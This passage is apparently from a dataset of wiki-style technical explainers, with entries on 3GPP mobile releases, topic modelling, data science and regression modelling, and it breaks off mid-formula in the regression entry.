beyond.  \n\n\n### Which are the main 5G releases?\n\nThe first 5G release was Rel-15, launched in three phases: early drop with support for Non-Standalone (NSA) operation, main drop with support for Standalone (SA) operation, and late drop. Among its main features were mmWave band support, scalable OFDMA, Dual Connectivity (DC) with LTE, FDD/TDD support, short TTI, mini-slots, massive MIMO, beamforming, and more. The 5G Core (5GC) adopted a Service-Based Architecture (SBA) with network functions, microservices and APIs. \n\nRel-16 enhanced MIMO, beamforming, DC/CA, UE power saving, positioning and Dynamic Spectrum Sharing (DSS). It also added new features: Integrated Access and Backhaul (IAB), operation in unlicensed spectrum, time-sensitive networking for industrial IoT, NR sidelink for Vehicle-to-Everything (V2X) communications, and more. Apart from many enhancements, Rel-17 added 60 GHz unlicensed band support, satellite communications and sidelink relaying. \n\nRel-18 marks the start of **5G Advanced** meant to enhance MIMO, mobility, AI-based decisions, sidelink, positioning, satellite communications, multicast, DSS, multi-SIM, and more. \n\n## Milestones\n\nDec  \n1998\n\nThe 3GPP Partnership Project Agreement is signed by **five Organizational Partners**: ARIB (Japan), ETSI (Europe), ATIS Committee T1 (USA), TTA (South Korea) and TTC (Japan). Their goal is to produce the 3G specifications. Subsequently, they expand their scope of work to include GSM/GPRS/EDGE specifications (since 2000) and evolution of 3G (since 2007). \n\n2000\n\nRelease 99 for **UMTS/3G** is launched. It evolves to Rel-4 (2001). \n\n2002\n\nRel-5 comes out. It's the first release of **High Speed Packet Access (HSPA)**. Also part of HSPA is Rel-6 (2004). This further evolves to **HSPA+** in Rel-7 (2007), Rel-8 (2008), Rel-9 (2009), and Rel-10 (2011). The next evolution is **HSPA+ Advanced** in Rel-12 (2015) and Rel-13 (2016).  The slightly different dates in the figure reflect dates of commercial deployment. \n\n2008\n\nWith Rel-8, the first release of **4G/LTE** is launched. The LTE project work was started in December 2004. Originally named Evolved Universal Terrestrial Radio Access (E-UTRA) for the radio access part, it becomes significantly different from the UMTS system. LTE evolves to **LTE Advanced** in Rel-10 (2011), Rel-11 (2012) and Rel-12 (2015). This evolves to **LTE Advanced Pro** in Rel-13 (2016) and Rel-14 (2017). The slightly different dates in the figure reflect dates of commercial deployment. \n\n2018\n\nRel-15, the first release of **5G**, comes out in 2018, although an \"early drop\" occurred in December 2017. This is followed by Rel-16 (2020) and Rel-17 (2022). This evolves to **5G Advanced** in Rel-18, which is expected in 2023. \n\n2027\n\nThe first release of **6G**, in Rel-21, is expected in 2027.","meta":{"title":"3GPP Release","href":"3gpp-release"}}
{"text":"# Topic Modelling\n\n## Summary\n\n\nThe growth of the web since the early 1990s has resulted in an explosion of online data. In an effort to organize all this unstructured data, topic models were invented as a text mining tool. Topic modelling uncovers underlying themes or topics in documents. \n\nConsider a document in which the words 'dog' and 'bone' occur often. We can say that this document belongs to the topic of *Dogs*. Another document with words 'cat' and 'meow' occurring frequently is of topic *Cats*. In another example, based on words in the content, emails can be topically labelled as *Personal*, *Project* or *Financial*. An email can also belong to multiple topics. Topic modelling can be seen as a form of tagging. \n\nTopic modelling is an unsupervised task. LDA and its many variants have been popular. LDA is a probabilistic generative model.\n\n## Discussion\n\n### What are some typical applications of topic modelling?\n\nEarly invention and application of topic models was in the field of text mining and information retrieval. Since then, topic modelling has been used in various applications including classification, categorization, summarization, and segmentation of documents. More unique applications include computer vision, population genetics and social networks. \n\nIn information retrieval, topic modelling helps in query expansion. It also personalizes search results or makes recommendations by mapping user preferences to topics.  \n\nWhen analyzing scientific literature, it's been noted that topics often correspond with scientific disciplines. We can also track how topics evolve over time. For example, the topic 'string' in Physics (for string theory) would be more common from the 1970s. \n\nIn social sciences, topic modelling enables qualitative analysis. Sentiment analysis and social network analysis are two examples. \n\nIn software engineering, topic modelling has been used to analyze source code, change logs, bug databases, and execution traces. \n\nIn bioinformatics, compared to traditional data reduction techniques, topic modelling is seen to be more promising since it's more easily interpretable. \n\n\n### How is topic modelling different from text classification or clustering?\n\n**Text classification** is a supervised task that learns a classifier from training data. Topic modelling is an unsupervised task where topics are not learned in advance. Topics are induced from the actual data. \n\n**Text clustering** and topic modelling are similar in the sense that both are unsupervised tasks. Both attempt to organize documents for better information retrieval and browsing. However, there's a difference. \n\nText clustering looks at the similarity among documents and attempts to form similar clusters of these documents. These similarity measures could be based on TF-IDF weighting. In topic modelling, we don't look at document similarity. Instead, we treat a document as a mixture of topics in which a topic is a probability distribution of words. Soft clustering (where a document can belong to multiple clusters) can be viewed as being similar to topic modelling, though the approaches still differ. \n\nThus, the clusters from text clustering are not quite the same as topics in topic modelling. They're however seen as complementary. Research from mid-2000s explore combining both techniques into a single model. \n\n\n### What's the typical pipeline for topic modelling?\n\nTopic models perform a statistical analysis of words present in each document from a collection of documents. The model is expected to output three things: (a) clusters of co-occurring words each of which represents a topic; (b) the distribution of topics for each document; (c) a histogram of words for each topic. \n\nTo build a model, we must balance different aspects: fidelity (how well the model reflects the real world), performance, tractability (discrete models are preferred), and interpretability. \n\nIn the **bag-of-words model** the ordering of words in each document is ignored. Such a model is simple but it ignores phrase-level co-occurrences. An alternative is the **unigram model** in which words are randomly drawn from a categorical distribution. A mixture of such unigram models is also possible. For example, each topic has a distribution of words. We randomly draw words conditioned on the topic. \n\nEssentially, words are being generated by latent variables of the model. Thus, a topic modelling algorithm such as LDA is a **generative model**. \n\n\n### Could you explain how documents, words and topics are related?\n\nThe basic approach towards topic modelling is to prepare a document-term matrix. For each document, we count how many times a particular term occurs. In practice, not all terms are equally important. For this reason, **TF-IDF weighting** is used instead of raw counts. TF-IDF effectively gives more weight to frequent terms in a document that's rarer in the rest of the corpus. \n\nThe next step is to decompose this matrix into document-topic and term-topic matrices. We don't in fact identify the names of these topics. This is something the analyst can do by looking at the main terms of the topic. In the figure, we can see that *T1* is probably about sports because of the terms Lebron, Celtics and sprain.\n\nSince number of topics is far fewer than the vocabulary, we can view topic modelling as a *dimensionality reduction technique*.  To determine exactly how many topics we should look for, the **Kullback-Leibler Divergence score** is a useful measure. \n\n\n### Could you describe the main algorithms for topic modelling?\n\nWe mention three main algorithms:\n\n    + **Latent Semantic Analysis (LSA)**: Also called *LSI*, this algorithm constructs a semantic space in which related words and documents are placed near one another. It uses SVD as the technique.\n    + **Probabilistic LSA (pLSA)**: Also called *aspect model*, this is a probabilistic generative model. It doesn't use SVD. It looks at the probability of a topic given a document and the probability of a word given a topic. These are multinomial distributions that can be trained with EM algorithm.\n    + **Latent Dirichlet Allocation (LDA)**: This is a Bayesian approach. Document is modelled as a finite mixture of topics. Each topic is modelled as an infinite mixture of topic probabilities. Topic probabilities make up a document's representation. Topic mixture is a Dirichlet distribution.\n\n### What are some common challenges with topic modelling?\n\nTopic modelling doesn't provide a method to select the optimum number of topics. LDA has many free parameters that can cause overfitting. LDA uses Bayesian priors without suitable justification. Statistical properties of the data (such as Zipf's Law) may also differ from the assumptions. \n\nLSA is a linear model. It might not fit non-linearities in the dataset. It assumes Gaussian distribution of terms. SVD is also computationally expensive. LSA uses less efficient representations. Its results are not easily interpretable. \n\nLDA can't directly represent co-occurrence information since words are sampled independently. A model based on Generalized Pólya urns or Bayesian regularization can solve this. \n\nHigh-frequency non-specific words will result in topics that users may find too general and not useful. For examples, documents on artificial intelligence might have the words 'algorithm', 'model' or 'estimation' occurring frequently. Low-frequency specific words are equally problematic. \n\nWe could end up with topics that all look nearly the same. This can be solved by conditioning the prior topic distribution with data. \n\n\n### What techniques have been used to improve the performance of topic modelling?\n\nWhen pre-processing text, it's common to do lemmatization, remove punctuation and stop words. In addition, we can remove low frequency terms since they represent weak features. We could also make use of POS tags and remove terms that are not contextually important. For example, all prepositions could be removed. \n\nAnother technique is to do batch-wise LDA. Each batch will provide a different set of topics and an intersection of these might give the best topic terms. \n\nThrough user interactions, we could add constraints, or merge or separate topics. For example, for two highly correlated words we can add the constraint that they should appear in the same topic. \n\nSome approaches to improve upon LDA include integrating topics with syntax; looking at correlation between topics such as Pachinko Allocation Model (PAM) or Correlated Topic Model (CTM); using metadata such as authors; accounting for burstiness of words (word once used in a document is more likely to appear again). Non-parametric models such Pitman-Yor or negative binomial processes have tried to address Zipf's Law. \n\n\n### What are some useful resources for research into topic modelling?\n\nDevelopers can use the *MALLET* Java package for topic modelling. A wrapper for this in R is available via the *mallet* package. Another R package is *topicmodels*. The latter package can do LDA (VEM or Gibbs estimation) or CTM (VEM estimation). \n\nPython developers can use *nltk* for text pre-processing and *gensim* for topic modelling. Package *gensim* has functions to create a bag of words from a document, do TF-IDF weighting and apply LDA.  If the intent is to do LSA, then *sklearn* package has functions for TF-IDF and SVD. MALLET package is also available in Python via *gensim*. \n\npyLDAvis is a Python library for topic model visualization. An analyst can use this to look at terms of a topic and decide the topic name. For automatic topic labelling, Wikipedia can be a useful data source. \n\nThose who wish to use a cloud service can look at **Amazon Comprehend**. It uses LDA on a collection. It returns terms-topics and documents-topics associations. A job should include at least 1000 documents. \n\n## Milestones\n\n1990\n\nDeerwester et al. apply Singular Value Decomposition (SVD) to the problem of automatic indexing and information retrieval. They note that users want to retrieve documents not by words but rather by concept. By applying SVD on a document-term matrix they bring together terms and documents that are closely related in the \"semantic space\". Their idea of semantics is nothing more than a topic or concept. They call their method **Latent Semantic Indexing (LSI)** or **Latent Semantic Analysis (LSA)**. The name LSI reflects its origins in information retrieval. \n\nMay  \n1998\n\nPapadimitriou et al. present the first mathematical analysis to rigorously explain why LSI works so well for information retrieval. Since LSI uses statistical properties of the corpus, they start with a probabilistic model of the corpus.  \n\nAug  \n1999\n\nHofmann presents a statistical analysis of LSA, perhaps independently of the work of Papadimitriou et al. He coins the term **Probabilistic Latent Semantic Analysis (pLSA)**. It's based on *aspect model*, which is a latent variable model. It associates unobserved class variables (topics) with each observation (words). Unlike LSA, this is a proper generative model. \n\n2003\n\nFirst presented at NIPS 2001 conference, Blei et al. describe in detail a probabilistic generative model that they name **Latent Dirichlet Allocation (LDA)**. They note that pLSA lacks a probabilistic model at the document level. LDA overcomes this. \n\nDec  \n2005\n\nBlei and Lafferty present **Correlated Topic Model (CTM)** to overcome a limitation of LDA. LDA is unable to capture correlations among topics. For example, a document about genetics is more likely to be about disease than x-ray astronomy. CTM captures these correlations via the logistic normal distribution. One of their results shows that CTM can handle as many as 90 topics whereas LDA peaks at only 30 topics. \n\nOct  \n2007\n\nResearchers at the University of Massachusetts apply topic modelling to social network analysis. They note that previous analysis looked at only links between network nodes. Their work also looks at topics on those links. They call their model **Author-Recipient-Topic (ART)**. It's based on LDA. \n\n2010\n\nNewman et al. study a number of methods to automatically measure *topic coherence*. High coherence implies better interpretability. As an upper bound for comparison, they use inter-annotator agreement (IIA) as the gold standard. They find that **Pointwise Mutual information (PMI)** performs best and comes close to IIA. PMI is calculated between word pairs in a document on a 10-word sliding window. PMI measures statistical independence of two words occurring in close proximity. \n\nApr  \n2012\n\nArora et al. note the limitations of SVD: only one topic per document or recover only spans of topic vectors rather than the vectors themselves. Instead, they propose the use of **Non-negative Matrix Factorization (NMF)**. They assume that every topic has an *anchor word* that separates it from other topics. This aspect of separability using NMF was studied by the machine learning community at least a decade earlier. \n\nMay  \n2012\n\nChuang et al. present *Termite*, a tool for analyzing the performance of topic modelling. It's a term vs topic visualization on a grid, with size of circles depicting importance. In a technique called **seriation**, terms are ordered to show how they cluster for a topic. The visualization also helps us see if topics use lots of words or only a handful of them. We can also see what words are shared across topics. \n\nJun  \n2012\n\nChaney and Blei present a method to visualize topic models. Given a topic (such as defined by three most prominent words), their system displays associated words, most relevant documents matching this topic and a list of related topics. This is more useful that showing just a **word cloud**. Word clouds typically show only the topics and they make visual search difficult. \n\nSep  \n2013\n\nXie and Xing propose a model that integrates document clustering and text modelling into a single unified framework. Performing these two tasks separately fails to exploit the correlations between them. They note that a flat set of topics is not useful across domains. For example, topics applicable for computer science will be different from topics for economics. Their model also includes global topics that cut across domains. Their model has N documents, J groups, K group-specific topics per group, and R global topics. \n\n2016\n\nWord2vec came out in 2013. It's a word embedding that's constructed by predicting neighbouring words given a word. LDA on the other hand looks at words at the document level. Moody proposes **lda2vec** as an approach to capture both local and global information. This combines the power of word2vec and the interpretability of LDA. Word vectors are dense but document vectors are sparse. \n\nJul  \n2018\n\nGerlach et al. note that topic modelling and community detection have evolved independently. Because they are conceptually similar, they can be combined into a single unified model. Community detection is about identifying groups of nodes with similar connectivity patterns. When applied to topic modelling, we're inferring topics by way of inferring communities of words and documents. Stochastic Block Model (SBM) is popular for community detection. This is adapted as **hierarchical SBM (hSBM)** for topic modelling.","meta":{"title":"Topic Modelling","href":"topic-modelling"}}
{"text":"# Data Science\n\n## Summary\n\n\nData is no longer scarce. In fact, businesses have an abundance of data and its growing. This has given rise to the term Big Data. Data science enables businesses to discover valuable insights from data and apply that profitably. Data science is therefore complementary to Big Data. \n\nHistorically, statisticians had a mathematical focus. They evolved into data analysts who applied their expertise to solving business problems. They did this by visualizing data and searching for patterns. When dealing with vast amounts of data, there was a need to apply Machine Learning algorithms and programming. This is where a data scientist comes in. \n\nA data scientist is really a first-class scientist who's curious, asks questions and makes hypotheses that can be tested with data.\n\n## Discussion\n\n### What exactly is the definition of the term \"Data Science\"?\n\nOne possible definition is that \"data science is a multifaceted discipline, which encompasses machine learning and other analytic processes, statistics and related branches of mathematics, increasingly borrows from high performance scientific computing, all in order to ultimately extract insight from data and use this new-found information to tell stories.\" \n\nAt a high level, \"data science is the study of the generalizable extraction of knowledge from data.\" It's a combination of multiple disciplines that have been around for decades. \n\nData Science Association's Professional Code of Conduct states that a \"Data Scientist means a professional who uses scientific methods to liberate and create meaning from raw data\". \n\n\n### What's a typical Data Science process?\n\nIn science, one starts with a hypothesis, conducts experiments and makes observations to either prove or disprove the hypothesis. In Data Science, the scientific process is similar except that the use of data and algorithms becomes central to the process. \n\nThe process starts with an interesting question, often aligned to business goals. Available data is then cleaned and filtered. This may also involve collecting new data as relevant to the question. Data is analyzed to discover patterns and outliers. A model is built and validated, often using machine learning algorithms. Model is often refined in an iterative manner. The final step is to communicate the results. The results may inspire the data scientist to ask and investigate further questions. \n\n\n### What's a typical Data Science pipeline?\n\nThe data science pipeline may be treated as that part of the data science process that deals specifically with data. It starts with the gathering of raw data, processing it, analyzing it via algorithms and finally visualizing the results. Thus, the pipeline basically transforms data into useful insights.\n\nAn important aspect of this pipeline is data engineering. It can be broken down into three steps (not standardized): \n\n    + **Data Wrangling**: Raw data is cast to a form suitable for analysis. This could involve combining multiple datasets, removing inconsistencies, converting datasets to a common format, etc.\n    + **Data Cleansing**: Real-world data is messy with missing values, bad delimiters or inconsistent records. Cleansing ensures and even repairs data to syntactic and semantic correctness. Data points could be dropped if they cannot be repaired.\n    + **Data Preparation**: This makes the data suitable as input to algorithms. This may involve range normalization, conversion of categorical data to numerical values, etc.When building ML models, the typical approach is to partition available data into training and testing datasets. The former is used for learning and the latter is used for validation. \n\n\n### Could you give some examples of questions that data science answers?\n\nHere are a few examples: Will this tire fail in the next 1000 miles? Is this bank transaction normal? What will be my sales for the next quarter? What sort of customers are not coming back to my store? Which printer models are failing the same way? As a self-driving car, should I now slow down or brake completely? \n\nIn the real world, data science has been successfully used by LinkedIn to increase growth in user connections. Google uses it in a number of products. GE uses it to optimize service contracts. Netflix uses it to improve movie recommendation. Kaplan uses it to uncover effective learning strategies. All these are a result of data scientists asking the right questions.\n\n\n### How is a data scientist different from a data analyst/architect/engineer?\n\nA data scientist is multidisciplinary in terms of skills and expertise. She may embody some of the other related roles: \n\n    + **Data Analyst**: Collects relevant data, visualizes data with various tools and tries to find patterns and insights. Knows basic statistics. Has business/domain knowledge. Probably doesn't deal with big data.\n    + **Data Architect**: Architects a system to manage big data. Often this role is embodied within a data engineer since tools and technologies overlap. This role becomes redundant with MLaaS (Machine Learning as a Service).\n    + **Data Engineer**: Develops and manages infrastructure that deals with big data. Well versed with tools such as Hadoop, NoSQL and MapReduce. Sets up data pipelines.Where a data scientist stands out is in her use of ML algorithms, which requires both statistics and computational skills. A data scientist augments these skills with her ability to deal with large datasets and domain knowledge. \n\n\n### Should a data scientist start with a problem statement or explore available data?\n\nIf you're new to data science, without much domain knowledge, defining a problem statement can be difficult. In such a case, you could start with exploratory analysis. This can then guide you towards asking the right questions. \n\nGiven enough data, exploration is likely to yield patterns and correlations. These could even occur due to measurement errors or data processing artifacts. But are these findings relevant? Asking the right questions and defining a problem statement will give better focus. Some even claim that lack of a problem definition could lead to disaster because you don't know what you're looking for. \n\n\n### What skills must a data scientist have?\n\nData scientists are required to be multidisciplinary with knowledge and expertise in statistics, programming, application domain, analytics and communication. However, unicorns who have all of these are rare. \n\nOften specializing in a couple of areas with exposure to others is desirable. Companies don't rely on a single all-knowing data scientist; they form a data science team. A data science team may include the Chief Data Officer, business analyst, data analyst, data scientist, data architect, data engineer and application engineer. Some of these may be combined in a single person. For example, a single person may fulfil the roles of data architect and data engineer. \n\nAnyone with strong data and computational abilities can do well as a data scientist. An essential skill is to turn unstructured data into a form suitable for analysis. This is not something that a traditional quantitative analyst can do. \n\nTechnical skills must be complemented with business acumen, creativity and reasoning. This will help a data scientist ask relevant questions, assess the suitability of available data and present results the right way. \n\n\n### Should a data scientist learn cloud computing?\n\nData science workflows typically happen on a local computer. There are however scenarios where cloud computing makes sense. The dataset could be too large for local memory; or local computational capability is insufficient for the problem; or the workflow's output feeds into a larger production environment. \n\nWhen dealing with large datasets, a data scientist needs to get familiar with cloud technologies, platforms and tools. This may include storage, running database queries and managing Apache Spark clusters. \n\n\n### As a beginner, what should be my learning path to become a data scientist?\n\nOne approach is to be practical and hands-on from the outset. Pick a topic in which you're passionate and curious. Research available datasets. Tweet and discuss so that you get clarity. Start coding. Explore. Analyze. Build data pipelines for large datasets. Communicate your results. Repeat this with other datasets and build a public portfolio. Along the way, pick up all the skills you need. \n\nYou may instead prefer a more formal approach. You can learn the basics of languages such as R and Python. Follow this with additional packages/libraries particular to data science: (R) dplyr, ggplot2; (Python) NumPy, Pandas, matplotlib. Get introduced to statistics. From this foundation, start your journey into Machine Learning. To relate these to business goals, some recommend the book Data Science for Business by Provost and Fawcett. But you should put all this knowledge into practice by taking up projects with datasets and problems that interest you. \n\nAt the University of Wisconsin, statistics is covered first before programming. To become inter-disciplinary, you may choose to learn aspects of data engineering (data warehousing, Big Data) and ethics. \n\n\n### Could you give some tips for a budding data scientist?\n\nThe following tips might help:\n\n    + Data science is about answering scientific questions with the help of data. Don't focus just on the aspect of handling data, dataset size or the tools.\n    + Understand the business, its products, customers and strategies. This will help you ask the right questions. Have constant interaction with business counterparts. Communicate with them in a language they can understand.\n    + Consider alternative approaches before selecting one that suits the problem. Likewise, select a suitable metric. Sometimes derived metrics may yield better prediction compared to available metrics.\n    + Understand the pros and cons of various ML algorithms before selecting one for your problem.\n    + Craft machine learning models from scratch. Don't just rely on premade templates and libraries. Test them to their limits to understand what's going to work, & where.\n    + Find a compromise between speed and perfection. On-time delivery should be preferred over extreme accuracy.\n    + Useful data is more important than lots of data. Use multiple data sources to better understand data and its discrepancies.\n    + Be connected with the data science community, be it via blogs, meetups, conferences or hackathons.\n    + Practice with open datasets. Learn from the solutions of others.\n\n\n## Milestones\n\n1962\n\nJohn W. Tukey publishes \"The Future of Data Analysis\". He explains that statistics has mostly been about making inferences but his interest is in *data analysis*, which has more to do with science than mathematics. The availability of computers makes data analysis possible. His influential paper is sometimes today referred to as FoDA. \n\n1974\n\nThe term *data science* is used for the first time, by Peter Naur in his \"Concise Survey of Computer Methods\". He defines it as the \"science of dealing with data\". His definition does not consider data semantics (domain knowledge). Thus, it's different from modern definition of the term. An alternative term *datalogy* is also used. \n\n1976\n\nJohn Chambers at Bell Labs create programming language *S*. This lays the basis for statistical computing and quantitative programming environments (QPE) that use scripts and workflows. In the 1990s, *S* inspires the creation of an open source language called *R*, which is today the dominant QPE. \n\n1977\n\nThe International Association for Statistical Computing (ISAC) is formed. This underscores the increasing use of computing in statistical work \"to convert data into information and knowledge\". The same year John Tukey publishes \"Exploratory Data Analysis\" where he states that we should use data to form hypotheses to test. *Exploratory Data Analysis* and *Confirmatory Data Analysis* should both be used. \n\n1989\n\nThe first Knowledge Discovery in Databases (KDD) conference is held. By the mid-1990s, this evolves into ACM SIGKDD Conference on Knowledge Discovery and Data Mining. Researchers clarify that \"KDD refers to the overall process of discovering useful knowledge from data, and data mining refers to a particular step in this process. Data mining is the application of specific algorithms for extracting patterns from data\". \n\n1997\n\nProfessor C. F. Jeff Wu calls for statistics to be renamed data science and statisticians to be renamed data scientists. The same year the journal Data Mining and Knowledge Discovery is launched. \n\n2001\n\nWilliam S. Cleveland publishes \"Data Science: An Action Plan for Expanding the Technical Areas of the Field of Statistics\". He proposes the term *Data Science* in its modern sense. To Cleveland, a data analyst is good at programming but has limited knowledge of statistics. A data scientist on the other hand comes from statistics background but has to work more closely with computer specialists. \n\n2001\n\nLeo Breiman publishes \"Statistical Modeling: The Two Cultures\". He compares *Generative Modeling* with *Predictive Modeling*. The former is dominant among statisticians. Breiman calls them to adopt predictive modeling and algorithms, which have developed in other fields. \n\n2008\n\n*Data Science* as a term creates interest thanks to the work of D. J. Patil (LinkedIn) and Jeff Hammerbacher (Facebook). \n\n2009\n\nGoogle's chief economist, Hal Varian, states that data is plenty but there's a scarcity of experts who can extract value from it. The sexy job for the next decade will be statisticians. He states his expectation of a data scientist,\n\n> The ability to take data—to be able to understand it, to process it, to extract value from it, to visualize it, to communicate it—that’s going to be a hugely important skill in the next decades.\n\n2010\n\nBy the start of this decade, researchers and writers attempt to explain data science to the public. Data scientist is claimed to be the sexiest job of the 21st century. This decade also sees shifting terminology. *Data Mining* is now referred to as *Machine Learning*. The work of a data analyst is called *Business Intelligence* but when she uses big data it's called *Big Data Analytics*. \n\nSep  \n2015\n\nThe University of Michigan announces a $100 million Data Science Initiative (DSI) to hire 35 new faculty. It's press release says, \"Data science has become a fourth approach to scientific discovery, in addition to experimentation, modeling, and computation.\" \n\n2017\n\nMonica Rogati puts AI at the top of a pyramid that signifies data science hierarchy of needs. She makes the point that companies can't have a successful AI strategy without basic data literacy, collection and infrastructure. It's also not a good idea to over-engineer the infrastructure. Instead, build an MVP spanning all layers of the pyramid and then scale horizontally.","meta":{"title":"Data Science","href":"data-science"}}
{"text":"# Regression Modelling\n\n## Summary\n\n\nRegression is a method to mathematically formulate relationship between variables that in due course can be used to estimate, interpolate and extrapolate. Suppose we want to estimate the weight of individuals, which is influenced by height, diet, workout, etc. Here, *Weight* is the **predicted** variable. *Height*, *Diet*, *Workout* are **predictor** variables. \n\nThe predicted variable is a **dependant** variable in the sense that it depends on predictors. Predictors are also called as **independent** variables. Regression reveals to what extent the predicted variable is affected by the predictors. In other words, what amount of variation in predictors will result in variations of the predicted variable. The predicted variable is mathematically represented as \\(Y\\). The predictor variables are represented as \\(X1\\), \\(X2\\), \\(X3\\), etc. This mathematical relationship is often called the **regression model**.\n\nRegression is a branch of statistics. There are many types of regression. Regression is commonly used for prediction and forecasting.\n\n## Discussion\n\n### What's a typical process for performing regression analysis?\n\nFirst select a suitable predicted variable with acceptable measurement qualities such as reliability and validity. Likewise, select the predictors. When there's a single predictor, we call it **bivariate** analysis; anything more, we call it **multivariate** analysis. \n\nCollect sufficient number of data points. Use a suitable estimation technique to arrive at the mathematical formula between predicted and predictor variables. No model is perfect. Hence, give error bounds. \n\nFinally, assess the model's stability by applying it to different samples of the same population. When predictor variables are given for a new data point, estimate the predicted variable. If stable, the model's accuracy should not decrease. This process is called **model cross-validation**. \n\n\n### I've heard of Least Squares. What's this and how is it related to regression?\n\n**Least Squares** is a term that signifies that the square of errors are at a minimum. The error is defined as the difference between observed value and predicted value. The objective of regression estimation is produce least squared errors as a result. When error approaches zero, we term it as *overfitting*. \n\n**Least Squares Method** provides linear equations with unknowns that can be solved for any given data. The unknowns are regression parameters. The linear equations are called as *Normal Equations*. The normal equations are derived using calculus to minimize squared errors.\n\nAll other algorithms (*Artificial Neural Network (ANN)*, *K-Nearest Neighbour (KNN)*, etc.) too attempt to minimize squared error unless the objective states otherwise.\n\n\n### Could you explain the difference between interpolation and extrapolation w.r.t. regression?\n\nSimply put, interpolation is estimation in familiar territory and extrapolation is estimation where not much of data is available due to various reasons—not collected or cannot be collected. \n\nWe can interpolate missing data points using regression. For instance, we want to estimate height given weight and data collection process missed out certain weights, we can use regression to interpolate. This missing data can estimated by other means too. The missing data estimation is called *imputation*. \n\nThe height and weight data is bound by nature and can be sourced. Say, we want to estimate future weight of an individual given historical weight variations of the individual. This is extrapolation. In regression, we call it *forecasting*. This is solved using a distinct set of techniques called as **Time Series Regression**.\n\n\n### What is correlation? How is it related to regression?\n\nCorrelation helps identify variables that can be applied for regression modelling. Correlations between each predictor and predicted variable are identified to decide on the predictors that need to be included in the model.\n\nCorrelation is defining the association between two variables. The effect of \\(X\\) (or \\(X1\\), \\(X2\\), \\(X3\\)...) on \\(Y\\) can be thus quantified: \n\n    + **Positive Correlation**: \\(Y\\) goes up/down as \\(X\\) goes up/down. Correlation coefficient will be in the range [0,1].\n    + **Negative Correlation**: \\(Y\\) goes up/down as \\(X\\) goes down/up. Correlation coefficient will be in the range [-1,0].\n    + **No Correlation**: \\(Y\\) doesn't go up/down as \\(X\\) goes up/down. Correlation coefficient will be close to 0.*Correlation coefficient* \\(r\\) has the following formula:\n\n$$r=\\frac{\\sum\\_{i=1}^n(x\\_i-\\bar x)(y\\_i-\\bar y)}{\\sqrt{\\sum\\_{i=1}^n(x\\_i-\\bar x)^2 \\sum\\_{i=1}^n(y\\_i-\\bar y)^2}}$$\n\nAn equivalent formula that substitutes the mean values \\(\\bar x\\) and \\(\\bar y\\) with their individual sample points \\(x\\_i\\) and \\(y\\_i\\) is published in Wikipedia. More formally, \\(r\\) is called **Pearson Product Moment Correlation (PPMC)**. \n\n\n### What's the right interpretation of correlation coefficient?\n\nCorrelation coefficient \\(r\\) is measure of *linear* association strength. It doesn't quantify non-linearity. A correlation coefficient of 80% (0.8) means that 80% of variation in one variable is explained by variation in the other variable. Example, 80% of variation in rainfall is explained by the number of trees; 20% is due to factors other than the number of trees.\n\nIt will be apparent from the formula that \\(r\\) factors in the sample variance. On a X-Y scatterplot, the regression line may have different slopes due to different sample variance even when all of them share the same correlation coefficient. In other words, \\(r\\) is not simply the slope of the regression line. \n\n\n### Could you give examples of non-linear correlation?\n\nA non-linear correlation is where the relationship between the variables cannot be expressed by a straight line. We call this relationship *curvilinear*. \n\nNon-linear relationship can exhibit monotonous positive, monotonous negative, or both patterns together. \n\n\n### How can we do data analysis when relationships are non-linear?\n\nThe correlation coefficient formula applies for only linear relationships. One common approach for non-linear correlations is to transform them into linear forms. If the relationship is curvilinear, we can apply transformations directly. Common transformations include logarithmic or inverse transformations. \n\nIf the relationship is non-linear but not curvilinear, we can split the data into distinct segments. Data within some segments may be linear. In other segments, if it's curvilinear, transformations can be applied to make them linear. Analysis is thus segment-wise, sometimes called **segmented regression**. As an example, yield of mustard is not affected by soil salinity for low values. For salinity above a threshold, there's a negative linear relation. This dataset can be segmented at the threshold. \n\n\n### What is causal relationship in regression?\n\nOne study about college education, showed positive correlation between SAT scores of incoming students and their earnings when they graduate. Moreover, we can state that graduating from elite colleges (high SAT scores) had a role in higher salaries. \n\nCausality or causation refers to the idea that variation in a predictor \\(X\\) *causes* variation in the predicted variable \\(Y\\). This is distinct from regression, which is more about predicting \\(Y\\) based on its correlation with \\(X\\). Regression does not claim that \\(Y\\) is caused by \\(X\\).\n\nHere are some possible examples of causality. High scores lead to higher earnings. Regular exercise results in better health. Current season influences power consumption. All pairs of variables that have causal relationship will exhibit significant correlation.\n\n\n### Does strong correlation always imply causal relationship?\n\nNo. Sometimes correlations are purely coincidental. For example, non-commercial space launches and sociology doctorates awarded are completely unrelated but the image shows them to be strongly correlated. This is called a **Spurious Correlation**. This is a clear case where correlation does not imply causation. \n\nAnother example is when ice cream sales are positively correlated with violent crime. However, violent crime is not caused by ice cream sales. It so happens that there's a **confounding variable**, which in this case is weather. Hot weather influences both ice cream sales and violent crimes. It's therefore obvious that, \n\n> correlation does not always imply causation\n\nCorrelation shouldn't be mistaken for causation. Look at the physical mechanism causing such a relationship. For example, is rain driving the sale of your product? Data may show a correlation. It need not be causal unless your product is an umbrella. However, proving causality is hard. At best, we can do randomized trials to establish causality. \n\nRegression is a useful tool in either predictive or causal analysis. With the growth of Big Data, it's being used more often for predictive analysis. \n\n\n### Could you explain the regression model?\n\nWe call it a *model* when the relationship between variables is in a well-defined mathematical form: \\(Y\\)=\\(f(X)\\).\n\nFor instance, a linear relationship can be written as \\(f(X)=a+b\\_1X\\_1+b\\_2X\\_2+b\\_3X\\_3\\), where \\(a\\) is a constant and \\(b\\_1,\\,b\\_2,\\,b\\_3\\) are regression coefficients. \\(a\\) is constant effect while a unit change in \\(X\\_1\\), will result in \\(b\\_1\\) unit change in \\(Y\\).\n\nIt's important to note that linearity is in terms of the coefficients, not in terms of predictor variables. For example, this model is still linear though it's quadratic in terms of \\(X\\_1\\): \\(f(X)=a+b\\_1X\\_1+b\\_2X\\_1^2\\). \n\n\n### How do we measure the accuracy of a regression model?\n\nThe accuracy of regression model is relative to base model. Called **R-Squared**, this measure is squared deviation from the expected value, which is mathematically defined below: \n\n    + For base model, the sum of squared deviation of actual value \\(Y\\) from mean value \\(E(Y)\\) is referred to as *Total Variance* or *SST (Total Sum of Squares)*. $$SST=\\sum\\_{i=1}^n(y\\_i-\\bar y)^2$$\n    + For regression model, the sum of squared deviation of estimated value \\(\\widehat Y \\) from mean value \\(E(Y)\\) is referred to as *Explained Variance* or *SSR (Regression Sum of Squares)*. $$SSR=\\sum\\_{i=1}^n(\\widehat y\\_i-\\bar y)^2$$\n    + The accuracy of the model is called *R-Squared*. $$R^2=\\frac{\\text{Explained Variance}}{\\text{Total Variance}} = 